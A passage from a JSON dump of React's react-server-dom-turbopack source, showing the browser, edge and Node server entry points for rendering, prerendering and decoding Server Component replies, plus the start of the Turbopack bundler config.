prerender(\n  model: ReactClientValue,\n  turbopackMap: ClientManifest,\n  options?: Options,\n): Promise<StaticResult> {\n  return new Promise((resolve, reject) => {\n    const onFatalError = reject;\n    function onAllReady() {\n      const stream = new ReadableStream(\n        {\n          type: 'bytes',\n          pull: (controller): ?Promise<void> => {\n            startFlowing(request, controller);\n          },\n          cancel: (reason): ?Promise<void> => {\n            stopFlowing(request);\n            abort(request, reason);\n          },\n        },\n        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n        {highWaterMark: 0},\n      );\n      resolve({prelude: stream});\n    }\n    const request = createPrerenderRequest(\n      model,\n      turbopackMap,\n      onAllReady,\n      onFatalError,\n      options ? options.onError : undefined,\n      options ? options.identifierPrefix : undefined,\n      options ? options.temporaryReferences : undefined,\n      options ? options.startTime : undefined,\n      __DEV__ && options ? options.environmentName : undefined,\n      __DEV__ && options ? options.filterStackFrame : undefined,\n      false,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        const reason = (signal: any).reason;\n        abort(request, reason);\n      } else {\n        const listener = () => {\n          const reason = (signal: any).reason;\n          abort(request, reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\nfunction decodeReply<T>(\n  body: string | FormData,\n  turbopackMap: ServerManifest,\n  options?: {\n    temporaryReferences?: TemporaryReferenceSet,\n    arraySizeLimit?: number,\n  },\n): Thenable<T> {\n  if (typeof body === 'string') {\n    const form = new FormData();\n    form.append('0', body);\n    body = form;\n  }\n  const response = createResponse(\n    turbopackMap,\n    '',\n    options ? options.temporaryReferences : undefined,\n    body,\n    options ? options.arraySizeLimit : undefined,\n  );\n  const root = getRoot<T>(response);\n  close(response);\n  return root;\n}\n\nexport {\n  renderToReadableStream,\n  prerender,\n  decodeReply,\n  decodeAction,\n  decodeFormState,\n};\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/src/server/ReactFlightDOMServerEdge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Request,\n  ReactClientValue,\n} from 'react-server/src/ReactFlightServer';\nimport type {Thenable} from 'shared/ReactTypes';\nimport type {ClientManifest} from './ReactFlightServerConfigTurbopackBundler';\nimport type {ServerManifest} from 'react-client/src/ReactFlightClientConfig';\n\nimport {ASYNC_ITERATOR} from 'shared/ReactSymbols';\n\nimport {\n  createRequest,\n  createPrerenderRequest,\n  startWork,\n  startFlowing,\n  startFlowingDebug,\n  stopFlowing,\n  abort,\n  resolveDebugMessage,\n  closeDebugChannel,\n} from 'react-server/src/ReactFlightServer';\n\nimport {\n  createResponse,\n  close,\n  getRoot,\n  reportGlobalError,\n  resolveField,\n  resolveFile,\n} from 'react-server/src/ReactFlightReplyServer';\n\nimport {\n  decodeAction,\n  decodeFormState,\n} from 'react-server/src/ReactFlightActionServer';\n\nexport {\n  registerServerReference,\n  registerClientReference,\n  createClientModuleProxy,\n} from '../ReactFlightTurbopackReferences';\n\nimport {\n  createStringDecoder,\n  readPartialStringChunk,\n  readFinalStringChunk,\n} from 'react-client/src/ReactFlightClientStreamConfigWeb';\n\nimport type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';\n\nexport {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';\n\nexport type {TemporaryReferenceSet};\n\ntype Options = {\n  debugChannel?: {readable?: ReadableStream, writable?: WritableStream, ...},\n  environmentName?: string | (() => string),\n  filterStackFrame?: (url: string, functionName: string) => boolean,\n  identifierPrefix?: string,\n  signal?: AbortSignal,\n  temporaryReferences?: TemporaryReferenceSet,\n  onError?: (error: mixed) => void,\n  startTime?: number,\n};\n\nfunction startReadingFromDebugChannelReadableStream(\n  request: Request,\n  stream: ReadableStream,\n): void {\n  const reader = stream.getReader();\n  const stringDecoder = createStringDecoder();\n  let stringBuffer = '';\n  function progress({\n    done,\n    value,\n  }: {\n    done: boolean,\n    value: ?any,\n    ...\n  }): void | Promise<void> {\n    const buffer: Uint8Array = (value: any);\n    stringBuffer += done\n      ? readFinalStringChunk(stringDecoder, new Uint8Array(0))\n      : readPartialStringChunk(stringDecoder, buffer);\n    const messages = stringBuffer.split('\\n');\n    for (let i = 0; i < messages.length - 1; i++) {\n      resolveDebugMessage(request, messages[i]);\n    }\n    stringBuffer = messages[messages.length - 1];\n    if (done) {\n      closeDebugChannel(request);\n      return;\n    }\n    return reader.read().then(progress).catch(error);\n  }\n  function error(e: any) {\n    abort(\n      request,\n      new Error('Lost connection to the Debug Channel.', {\n        cause: e,\n      }),\n    );\n  }\n  reader.read().then(progress).catch(error);\n}\n\nfunction renderToReadableStream(\n  model: ReactClientValue,\n  turbopackMap: ClientManifest,\n  options?: Options,\n): ReadableStream {\n  const debugChannelReadable =\n    __DEV__ && options && options.debugChannel\n      ? options.debugChannel.readable\n      : undefined;\n  const debugChannelWritable =\n    __DEV__ && options && options.debugChannel\n      ? options.debugChannel.writable\n      : undefined;\n  const request = createRequest(\n    model,\n    turbopackMap,\n    options ? options.onError : undefined,\n    options ? options.identifierPrefix : undefined,\n    options ? options.temporaryReferences : undefined,\n    options ? options.startTime : undefined,\n    __DEV__ && options ? options.environmentName : undefined,\n    __DEV__ && options ? options.filterStackFrame : undefined,\n    debugChannelReadable !== undefined,\n  );\n  if (options && options.signal) {\n    const signal = options.signal;\n    if (signal.aborted) {\n      abort(request, (signal: any).reason);\n    } else {\n      const listener = () => {\n        abort(request, (signal: any).reason);\n        signal.removeEventListener('abort', listener);\n      };\n      signal.addEventListener('abort', listener);\n    }\n  }\n  if (debugChannelWritable !== undefined) {\n    const debugStream = new ReadableStream(\n      {\n        type: 'bytes',\n        pull: (controller): ?Promise<void> => {\n          startFlowingDebug(request, controller);\n        },\n      },\n      // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n      {highWaterMark: 0},\n    );\n    debugStream.pipeTo(debugChannelWritable);\n  }\n  if (debugChannelReadable !== undefined) {\n    startReadingFromDebugChannelReadableStream(request, debugChannelReadable);\n  }\n  const stream = new ReadableStream(\n    {\n      type: 'bytes',\n      start: (controller): ?Promise<void> => {\n        startWork(request);\n      },\n      pull: (controller): ?Promise<void> => {\n        startFlowing(request, controller);\n      },\n      cancel: (reason): ?Promise<void> => {\n        stopFlowing(request);\n        abort(request, reason);\n      },\n    },\n    // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n    {highWaterMark: 0},\n  );\n  return stream;\n}\n\ntype StaticResult = {\n  prelude: ReadableStream,\n};\n\nfunction prerender(\n  model: ReactClientValue,\n  turbopackMap: ClientManifest,\n  options?: Options,\n): Promise<StaticResult> {\n  return new Promise((resolve, reject) => {\n    const onFatalError = reject;\n    function onAllReady() {\n      const stream = new ReadableStream(\n        {\n          type: 'bytes',\n          pull: (controller): ?Promise<void> => {\n            startFlowing(request, controller);\n          },\n          cancel: (reason): ?Promise<void> => {\n            stopFlowing(request);\n            abort(request, reason);\n          },\n        },\n        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n        {highWaterMark: 0},\n      );\n      resolve({prelude: stream});\n    }\n    const request = createPrerenderRequest(\n      model,\n      turbopackMap,\n      onAllReady,\n      onFatalError,\n      options ? options.onError : undefined,\n      options ? options.identifierPrefix : undefined,\n      options ? options.temporaryReferences : undefined,\n      options ? options.startTime : undefined,\n      __DEV__ && options ? options.environmentName : undefined,\n      __DEV__ && options ? options.filterStackFrame : undefined,\n      false,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        const reason = (signal: any).reason;\n        abort(request, reason);\n      } else {\n        const listener = () => {\n          const reason = (signal: any).reason;\n          abort(request, reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\nfunction decodeReply<T>(\n  body: string | FormData,\n  turbopackMap: ServerManifest,\n  options?: {\n    temporaryReferences?: TemporaryReferenceSet,\n    arraySizeLimit?: number,\n  },\n): Thenable<T> {\n  if (typeof body === 'string') {\n    const form = new FormData();\n    form.append('0', body);\n    body = form;\n  }\n  const response = createResponse(\n    turbopackMap,\n    '',\n    options ? options.temporaryReferences : undefined,\n    body,\n    options ? options.arraySizeLimit : undefined,\n  );\n  const root = getRoot<T>(response);\n  close(response);\n  return root;\n}\n\nfunction decodeReplyFromAsyncIterable<T>(\n  iterable: AsyncIterable<[string, string | File]>,\n  turbopackMap: ServerManifest,\n  options?: {\n    temporaryReferences?: TemporaryReferenceSet,\n    arraySizeLimit?: number,\n  },\n): Thenable<T> {\n  const iterator: AsyncIterator<[string, string | File]> =\n    iterable[ASYNC_ITERATOR]();\n\n  const response = createResponse(\n    turbopackMap,\n    '',\n    options ? options.temporaryReferences : undefined,\n    undefined,\n    options ? options.arraySizeLimit : undefined,\n  );\n\n  function progress(\n    entry:\n      | {done: false, +value: [string, string | File], ...}\n      | {done: true, +value: void, ...},\n  ) {\n    if (entry.done) {\n      close(response);\n    } else {\n      const [name, value] = entry.value;\n      if (typeof value === 'string') {\n        resolveField(response, name, value);\n      } else {\n        resolveFile(response, name, value);\n      }\n      iterator.next().then(progress, error);\n    }\n  }\n  function error(reason: Error) {\n    reportGlobalError(response, reason);\n    if (typeof (iterator: any).throw === 'function') {\n      // The iterator protocol doesn't necessarily include this but a generator do.\n      // $FlowFixMe should be able to pass mixed\n      iterator.throw(reason).then(error, error);\n    }\n  }\n\n  iterator.next().then(progress, error);\n\n  return getRoot(response);\n}\n\nexport {\n  renderToReadableStream,\n  prerender,\n  decodeReply,\n  decodeReplyFromAsyncIterable,\n  decodeAction,\n  decodeFormState,\n};\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/src/server/ReactFlightDOMServerNode.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Request,\n  ReactClientValue,\n} from 'react-server/src/ReactFlightServer';\nimport type {Destination} from 'react-server/src/ReactServerStreamConfigNode';\nimport type {ClientManifest} from './ReactFlightServerConfigTurbopackBundler';\nimport type {ServerManifest} from 'react-client/src/ReactFlightClientConfig';\nimport type {Busboy} from 'busboy';\nimport type {Writable} from 'stream';\nimport type {Thenable} from 'shared/ReactTypes';\n\nimport type {Duplex} from 'stream';\n\nimport {Readable} from 'stream';\n\nimport {ASYNC_ITERATOR} from 'shared/ReactSymbols';\n\nimport {\n  createRequest,\n  createPrerenderRequest,\n  startWork,\n  startFlowing,\n  startFlowingDebug,\n  stopFlowing,\n  abort,\n  resolveDebugMessage,\n  closeDebugChannel,\n} from 'react-server/src/ReactFlightServer';\n\nimport {\n  createResponse,\n  reportGlobalError,\n  close,\n  resolveField,\n  resolveFile,\n  resolveFileInfo,\n  resolveFileChunk,\n  resolveFileComplete,\n  getRoot,\n} from 'react-server/src/ReactFlightReplyServer';\n\nimport {\n  decodeAction,\n  decodeFormState,\n} from 'react-server/src/ReactFlightActionServer';\n\nexport {\n  registerServerReference,\n  registerClientReference,\n  createClientModuleProxy,\n} from '../ReactFlightTurbopackReferences';\n\nimport {\n  createStringDecoder,\n  readPartialStringChunk,\n  readFinalStringChunk,\n} from 'react-client/src/ReactFlightClientStreamConfigNode';\n\nimport {textEncoder} from 'react-server/src/ReactServerStreamConfigNode';\n\nimport type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';\n\nexport {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';\n\nexport type {TemporaryReferenceSet};\n\nfunction createDrainHandler(destination: Destination, request: Request) {\n  return () => startFlowing(request, destination);\n}\n\nfunction createCancelHandler(request: Request, reason: string) {\n  return () => {\n    stopFlowing(request);\n    abort(request, new Error(reason));\n  };\n}\n\nfunction startReadingFromDebugChannelReadable(\n  request: Request,\n  stream: Readable | WebSocket,\n): void {\n  const stringDecoder = createStringDecoder();\n  let lastWasPartial = false;\n  let stringBuffer = '';\n  function onData(chunk: string | Uint8Array) {\n    if (typeof chunk === 'string') {\n      if (lastWasPartial) {\n        stringBuffer += readFinalStringChunk(stringDecoder, new Uint8Array(0));\n        lastWasPartial = false;\n      }\n      stringBuffer += chunk;\n    } else {\n      const buffer: Uint8Array = (chunk: any);\n      stringBuffer += readPartialStringChunk(stringDecoder, buffer);\n      lastWasPartial = true;\n    }\n    const messages = stringBuffer.split('\\n');\n    for (let i = 0; i < messages.length - 1; i++) {\n      resolveDebugMessage(request, messages[i]);\n    }\n    stringBuffer = messages[messages.length - 1];\n  }\n  function onError(error: mixed) {\n    abort(\n      request,\n      new Error('Lost connection to the Debug Channel.', {\n        cause: error,\n      }),\n    );\n  }\n  function onClose() {\n    closeDebugChannel(request);\n  }\n  if (\n    // $FlowFixMe[method-unbinding]\n    typeof stream.addEventListener === 'function' &&\n    // $FlowFixMe[method-unbinding]\n    typeof stream.binaryType === 'string'\n  ) {\n    const ws: WebSocket = (stream: any);\n    ws.binaryType = 'arraybuffer';\n    ws.addEventListener('message', event => {\n      // $FlowFixMe\n      onData(event.data);\n    });\n    ws.addEventListener('error', event => {\n      // $FlowFixMe\n      onError(event.error);\n    });\n    ws.addEventListener('close', onClose);\n  } else {\n    const readable: Readable = (stream: any);\n    readable.on('data', onData);\n    readable.on('error', onError);\n    readable.on('end', onClose);\n  }\n}\n\ntype Options = {\n  debugChannel?: Readable | Writable | Duplex | WebSocket,\n  environmentName?: string | (() => string),\n  filterStackFrame?: (url: string, functionName: string) => boolean,\n  onError?: (error: mixed) => void,\n  identifierPrefix?: string,\n  temporaryReferences?: TemporaryReferenceSet,\n  startTime?: number,\n};\n\ntype PipeableStream = {\n  abort(reason: mixed): void,\n  pipe<T: Writable>(destination: T): T,\n};\n\nfunction renderToPipeableStream(\n  model: ReactClientValue,\n  turbopackMap: ClientManifest,\n  options?: Options,\n): PipeableStream {\n  const debugChannel = __DEV__ && options ? options.debugChannel : undefined;\n  const debugChannelReadable: void | Readable | WebSocket =\n    __DEV__ &&\n    debugChannel !== undefined &&\n    // $FlowFixMe[method-unbinding]\n    (typeof debugChannel.read === 'function' ||\n      typeof debugChannel.readyState === 'number')\n      ? (debugChannel: any)\n      : undefined;\n  const debugChannelWritable: void | Writable =\n    __DEV__ && debugChannel !== undefined\n      ? // $FlowFixMe[method-unbinding]\n        typeof debugChannel.write === 'function'\n        ? (debugChannel: any)\n        : // $FlowFixMe[method-unbinding]\n          typeof debugChannel.send === 'function'\n          ? createFakeWritableFromWebSocket((debugChannel: any))\n          : undefined\n      : undefined;\n  const request = createRequest(\n    model,\n    turbopackMap,\n    options ? options.onError : undefined,\n    options ? options.identifierPrefix : undefined,\n    options ? options.temporaryReferences : undefined,\n    options ? options.startTime : undefined,\n    __DEV__ && options ? options.environmentName : undefined,\n    __DEV__ && options ? options.filterStackFrame : undefined,\n    debugChannelReadable !== undefined,\n  );\n  let hasStartedFlowing = false;\n  startWork(request);\n  if (debugChannelWritable !== undefined) {\n    startFlowingDebug(request, debugChannelWritable);\n  }\n  if (debugChannelReadable !== undefined) {\n    startReadingFromDebugChannelReadable(request, debugChannelReadable);\n  }\n  return {\n    pipe<T: Writable>(destination: T): T {\n      if (hasStartedFlowing) {\n        throw new Error(\n          'React currently only supports piping to one writable stream.',\n        );\n      }\n      hasStartedFlowing = true;\n      startFlowing(request, destination);\n      destination.on('drain', createDrainHandler(destination, request));\n      destination.on(\n        'error',\n        createCancelHandler(\n          request,\n          'The destination stream errored while writing data.',\n        ),\n      );\n      // We don't close until the debug channel closes.\n      if (!__DEV__ || debugChannelReadable === undefined) {\n        destination.on(\n          'close',\n          createCancelHandler(request, 'The destination stream closed early.'),\n        );\n      }\n      return destination;\n    },\n    abort(reason: mixed) {\n      abort(request, reason);\n    },\n  };\n}\n\nfunction createFakeWritableFromWebSocket(webSocket: WebSocket): Writable {\n  return ({\n    write(chunk: string | Uint8Array) {\n      webSocket.send((chunk: any));\n      return true;\n    },\n    end() {\n      webSocket.close();\n    },\n    destroy(reason) {\n      if (typeof reason === 'object' && reason !== null) {\n        reason = reason.message;\n      }\n      if (typeof reason === 'string') {\n        webSocket.close(1011, reason);\n      } else {\n        webSocket.close(1011);\n      }\n    },\n  }: any);\n}\n\nfunction createFakeWritableFromReadableStreamController(\n  controller: ReadableStreamController,\n): Writable {\n  // The current host config expects a Writable so we create\n  // a fake writable for now to push into the Readable.\n  return ({\n    write(chunk: string | Uint8Array) {\n      if (typeof chunk === 'string') {\n        chunk = textEncoder.encode(chunk);\n      }\n      controller.enqueue(chunk);\n      // in web streams there is no backpressure so we can always write more\n      return true;\n    },\n    end() {\n      controller.close();\n    },\n    destroy(error) {\n      // $FlowFixMe[method-unbinding]\n      if (typeof controller.error === 'function') {\n        // $FlowFixMe[incompatible-call]: This is an Error object or the destination accepts other types.\n        controller.error(error);\n      } else {\n        controller.close();\n      }\n    },\n  }: any);\n}\n\nfunction startReadingFromDebugChannelReadableStream(\n  request: Request,\n  stream: ReadableStream,\n): void {\n  const reader = stream.getReader();\n  const stringDecoder = createStringDecoder();\n  let stringBuffer = '';\n  function progress({\n    done,\n    value,\n  }: {\n    done: boolean,\n    value: ?any,\n    ...\n  }): void | Promise<void> {\n    const buffer: Uint8Array = (value: any);\n    stringBuffer += done\n      ? readFinalStringChunk(stringDecoder, new Uint8Array(0))\n      : readPartialStringChunk(stringDecoder, buffer);\n    const messages = stringBuffer.split('\\n');\n    for (let i = 0; i < messages.length - 1; i++) {\n      resolveDebugMessage(request, messages[i]);\n    }\n    stringBuffer = messages[messages.length - 1];\n    if (done) {\n      closeDebugChannel(request);\n      return;\n    }\n    return reader.read().then(progress).catch(error);\n  }\n  function error(e: any) {\n    abort(\n      request,\n      new Error('Lost connection to the Debug Channel.', {\n        cause: e,\n      }),\n    );\n  }\n  reader.read().then(progress).catch(error);\n}\n\nfunction renderToReadableStream(\n  model: ReactClientValue,\n  turbopackMap: ClientManifest,\n  options?: Omit<Options, 'debugChannel'> & {\n    debugChannel?: {readable?: ReadableStream, writable?: WritableStream, ...},\n    signal?: AbortSignal,\n  },\n): ReadableStream {\n  const debugChannelReadable =\n    __DEV__ && options && options.debugChannel\n      ? options.debugChannel.readable\n      : undefined;\n  const debugChannelWritable =\n    __DEV__ && options && options.debugChannel\n      ? options.debugChannel.writable\n      : undefined;\n  const request = createRequest(\n    model,\n    turbopackMap,\n    options ? options.onError : undefined,\n    options ? options.identifierPrefix : undefined,\n    options ? options.temporaryReferences : undefined,\n    options ? options.startTime : undefined,\n    __DEV__ && options ? options.environmentName : undefined,\n    __DEV__ && options ? options.filterStackFrame : undefined,\n    debugChannelReadable !== undefined,\n  );\n  if (options && options.signal) {\n    const signal = options.signal;\n    if (signal.aborted) {\n      abort(request, (signal: any).reason);\n    } else {\n      const listener = () => {\n        abort(request, (signal: any).reason);\n        signal.removeEventListener('abort', listener);\n      };\n      signal.addEventListener('abort', listener);\n    }\n  }\n  if (debugChannelWritable !== undefined) {\n    let debugWritable: Writable;\n    const debugStream = new ReadableStream(\n      {\n        type: 'bytes',\n        start: (controller): ?Promise<void> => {\n          debugWritable =\n            createFakeWritableFromReadableStreamController(controller);\n        },\n        pull: (controller): ?Promise<void> => {\n          startFlowingDebug(request, debugWritable);\n        },\n      },\n      // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n      {highWaterMark: 0},\n    );\n    debugStream.pipeTo(debugChannelWritable);\n  }\n  if (debugChannelReadable !== undefined) {\n    startReadingFromDebugChannelReadableStream(request, debugChannelReadable);\n  }\n  let writable: Writable;\n  const stream = new ReadableStream(\n    {\n      type: 'bytes',\n      start: (controller): ?Promise<void> => {\n        writable = createFakeWritableFromReadableStreamController(controller);\n        startWork(request);\n      },\n      pull: (controller): ?Promise<void> => {\n        startFlowing(request, writable);\n      },\n      cancel: (reason): ?Promise<void> => {\n        stopFlowing(request);\n        abort(request, reason);\n      },\n    },\n    // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n    {highWaterMark: 0},\n  );\n  return stream;\n}\n\nfunction createFakeWritableFromNodeReadable(readable: any): Writable {\n  // The current host config expects a Writable so we create\n  // a fake writable for now to push into the Readable.\n  return ({\n    write(chunk: string | Uint8Array) {\n      return readable.push(chunk);\n    },\n    end() {\n      readable.push(null);\n    },\n    destroy(error) {\n      readable.destroy(error);\n    },\n  }: any);\n}\n\ntype PrerenderOptions = {\n  environmentName?: string | (() => string),\n  filterStackFrame?: (url: string, functionName: string) => boolean,\n  onError?: (error: mixed) => void,\n  identifierPrefix?: string,\n  temporaryReferences?: TemporaryReferenceSet,\n  signal?: AbortSignal,\n  startTime?: number,\n};\n\ntype StaticResult = {\n  prelude: Readable,\n};\n\nfunction prerenderToNodeStream(\n  model: ReactClientValue,\n  turbopackMap: ClientManifest,\n  options?: PrerenderOptions,\n): Promise<StaticResult> {\n  return new Promise((resolve, reject) => {\n    const onFatalError = reject;\n    function onAllReady() {\n      const readable: Readable = new Readable({\n        read() {\n          startFlowing(request, writable);\n        },\n      });\n      const writable = createFakeWritableFromNodeReadable(readable);\n      resolve({prelude: readable});\n    }\n\n    const request = createPrerenderRequest(\n      model,\n      turbopackMap,\n      onAllReady,\n      onFatalError,\n      options ? options.onError : undefined,\n      options ? options.identifierPrefix : undefined,\n      options ? options.temporaryReferences : undefined,\n      options ? options.startTime : undefined,\n      __DEV__ && options ? options.environmentName : undefined,\n      __DEV__ && options ? options.filterStackFrame : undefined,\n      false,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        const reason = (signal: any).reason;\n        abort(request, reason);\n      } else {\n        const listener = () => {\n          const reason = (signal: any).reason;\n          abort(request, reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\nfunction prerender(\n  model: ReactClientValue,\n  turbopackMap: ClientManifest,\n  options?: Options & {\n    signal?: AbortSignal,\n  },\n): Promise<{\n  prelude: ReadableStream,\n}> {\n  return new Promise((resolve, reject) => {\n    const onFatalError = reject;\n    function onAllReady() {\n      let writable: Writable;\n      const stream = new ReadableStream(\n        {\n          type: 'bytes',\n          start: (controller): ?Promise<void> => {\n            writable =\n              createFakeWritableFromReadableStreamController(controller);\n          },\n          pull: (controller): ?Promise<void> => {\n            startFlowing(request, writable);\n          },\n          cancel: (reason): ?Promise<void> => {\n            stopFlowing(request);\n            abort(request, reason);\n          },\n        },\n        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n        {highWaterMark: 0},\n      );\n      resolve({prelude: stream});\n    }\n    const request = createPrerenderRequest(\n      model,\n      turbopackMap,\n      onAllReady,\n      onFatalError,\n      options ? options.onError : undefined,\n      options ? options.identifierPrefix : undefined,\n      options ? options.temporaryReferences : undefined,\n      options ? options.startTime : undefined,\n      __DEV__ && options ? options.environmentName : undefined,\n      __DEV__ && options ? options.filterStackFrame : undefined,\n      false,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        const reason = (signal: any).reason;\n        abort(request, reason);\n      } else {\n        const listener = () => {\n          const reason = (signal: any).reason;\n          abort(request, reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\nfunction decodeReplyFromBusboy<T>(\n  busboyStream: Busboy,\n  turbopackMap: ServerManifest,\n  options?: {\n    temporaryReferences?: TemporaryReferenceSet,\n    arraySizeLimit?: number,\n  },\n): Thenable<T> {\n  const response = createResponse(\n    turbopackMap,\n    '',\n    options ? options.temporaryReferences : undefined,\n    undefined,\n    options ? options.arraySizeLimit : undefined,\n  );\n  let pendingFiles = 0;\n  const queuedFields: Array<string> = [];\n  busboyStream.on('field', (name, value) => {\n    if (pendingFiles > 0) {\n      // Because the 'end' event fires two microtasks after the next 'field'\n      // we would resolve files and fields out of order. To handle this properly\n      // we queue any fields we receive until the previous file is done.\n      queuedFields.push(name, value);\n    } else {\n      try {\n        resolveField(response, name, value);\n      } catch (error) {\n        busboyStream.destroy(error);\n      }\n    }\n  });\n  busboyStream.on('file', (name, value, {filename, encoding, mimeType}) => {\n    if (encoding.toLowerCase() === 'base64') {\n      busboyStream.destroy(\n        new Error(\n          \"React doesn't accept base64 encoded file uploads because we don't expect \" +\n            \"form data passed from a browser to ever encode data that way. If that's \" +\n            'the wrong assumption, we can easily fix it.',\n        ),\n      );\n      return;\n    }\n    pendingFiles++;\n    const file = resolveFileInfo(response, name, filename, mimeType);\n    value.on('data', chunk => {\n      resolveFileChunk(response, file, chunk);\n    });\n    value.on('end', () => {\n      try {\n        resolveFileComplete(response, name, file);\n        pendingFiles--;\n        if (pendingFiles === 0) {\n          // Release any queued fields\n          for (let i = 0; i < queuedFields.length; i += 2) {\n            resolveField(response, queuedFields[i], queuedFields[i + 1]);\n          }\n          queuedFields.length = 0;\n        }\n      } catch (error) {\n        busboyStream.destroy(error);\n      }\n    });\n  });\n  busboyStream.on('finish', () => {\n    close(response);\n  });\n  busboyStream.on('error', err => {\n    reportGlobalError(\n      response,\n      // $FlowFixMe[incompatible-call] types Error and mixed are incompatible\n      err,\n    );\n  });\n  return getRoot(response);\n}\n\nfunction decodeReply<T>(\n  body: string | FormData,\n  turbopackMap: ServerManifest,\n  options?: {\n    temporaryReferences?: TemporaryReferenceSet,\n    arraySizeLimit?: number,\n  },\n): Thenable<T> {\n  if (typeof body === 'string') {\n    const form = new FormData();\n    form.append('0', body);\n    body = form;\n  }\n  const response = createResponse(\n    turbopackMap,\n    '',\n    options ? options.temporaryReferences : undefined,\n    body,\n    options ? options.arraySizeLimit : undefined,\n  );\n  const root = getRoot<T>(response);\n  close(response);\n  return root;\n}\n\nfunction decodeReplyFromAsyncIterable<T>(\n  iterable: AsyncIterable<[string, string | File]>,\n  turbopackMap: ServerManifest,\n  options?: {\n    temporaryReferences?: TemporaryReferenceSet,\n    arraySizeLimit?: number,\n  },\n): Thenable<T> {\n  const iterator: AsyncIterator<[string, string | File]> =\n    iterable[ASYNC_ITERATOR]();\n\n  const response = createResponse(\n    turbopackMap,\n    '',\n    options ? options.temporaryReferences : undefined,\n    undefined,\n    options ? options.arraySizeLimit : undefined,\n  );\n\n  function progress(\n    entry:\n      | {done: false, +value: [string, string | File], ...}\n      | {done: true, +value: void, ...},\n  ) {\n    if (entry.done) {\n      close(response);\n    } else {\n      const [name, value] = entry.value;\n      if (typeof value === 'string') {\n        resolveField(response, name, value);\n      } else {\n        resolveFile(response, name, value);\n      }\n      iterator.next().then(progress, error);\n    }\n  }\n  function error(reason: Error) {\n    reportGlobalError(response, reason);\n    if (typeof (iterator: any).throw === 'function') {\n      // The iterator protocol doesn't necessarily include this but a generator do.\n      // $FlowFixMe should be able to pass mixed\n      iterator.throw(reason).then(error, error);\n    }\n  }\n\n  iterator.next().then(progress, error);\n\n  return getRoot(response);\n}\n\nexport {\n  renderToReadableStream,\n  renderToPipeableStream,\n  prerender,\n  prerenderToNodeStream,\n  decodeReply,\n  decodeReplyFromBusboy,\n  decodeReplyFromAsyncIterable,\n  decodeAction,\n  decodeFormState,\n};\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/src/server/ReactFlightServerConfigTurbopackBundler.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactClientValue} from 'react-server/src/ReactFlightServer';\nimport type {\n  ImportMetadata,\n  ImportManifestEntry,\n} from '../shared/ReactFlightImportMetadata';\n\nimport type {\n  ClientReference,\n  ServerReference,\n} from '../ReactFlightTurbopackReferences';\n\nexport type {ClientReference, ServerReference};\n\nexport type ClientManifest = {\n  [id: string]: ClientReferenceManifestEntry,\n};\n\nexport type ServerReferenceId = string;\n\nexport type ClientReferenceMetadata = ImportMetadata;\nexport opaque type ClientReferenceManifestEntry = ImportManifestEntry;\n\nexport type ClientReferenceKey = string;\n\nexport {\n  isClientReference,\n  isServerReference,\n} from '../ReactFlightTurbopackReferences';\n\nexport function getClientReferenceKey(\n  reference: ClientReference<any>,\n): ClientReferenceKey {\n  return reference.$$async ? reference.$$id + '#async' : reference.$$id;\n}\n\nexport function resolveClientReferenceMetadata<T>(\n  config: ClientManifest,\n  clientReference: ClientReference<T>,\n): ClientReferenceMetadata {\n  const modulePath = clientReference.$$id;\n  let name = '';\n  let resolvedModuleData = config[modulePath];\n  if (resolvedModuleData) {\n    // The potentially aliased name.\n    name = resolvedModuleData.name;\n  } else {\n    // We didn't find this specific export name but we might have the * export\n    // which contains this name as well.\n    // TODO: It's unfortunate that we now have to parse this string. We should\n    // probably go back to encoding path and name separately on the client reference.\n    const idx = modulePath.lastIndexOf('#');\n    if (idx !== -1) {\n      name = modulePath.slice(idx + 1);\n      resolvedModuleData = config[modulePath.slice(0, idx)];\n    }\n    if (!resolvedModuleData) {\n      throw new Error(\n        'Could not find the module \"' +\n          modulePath +\n          '\" in the React Client Manifest. ' +\n          'This is probably a bug in the React Server Components bundler.',\n      );\n    }\n  }\n  if (resolvedModuleData.async === true && clientReference.$$async === true) {\n    throw new Error(\n      'The module \"' +\n        modulePath +\n        '\" is marked as an async ESM module but was loaded as a CJS proxy. ' +\n        'This is probably a bug in the React Server Components bundler.',\n    );\n  }\n  if (resolvedModuleData.async === true || clientReference.$$async === true) {\n    return [resolvedModuleData.id, resolvedModuleData.chunks, name, 1];\n  } else {\n    return [resolvedModuleData.id, 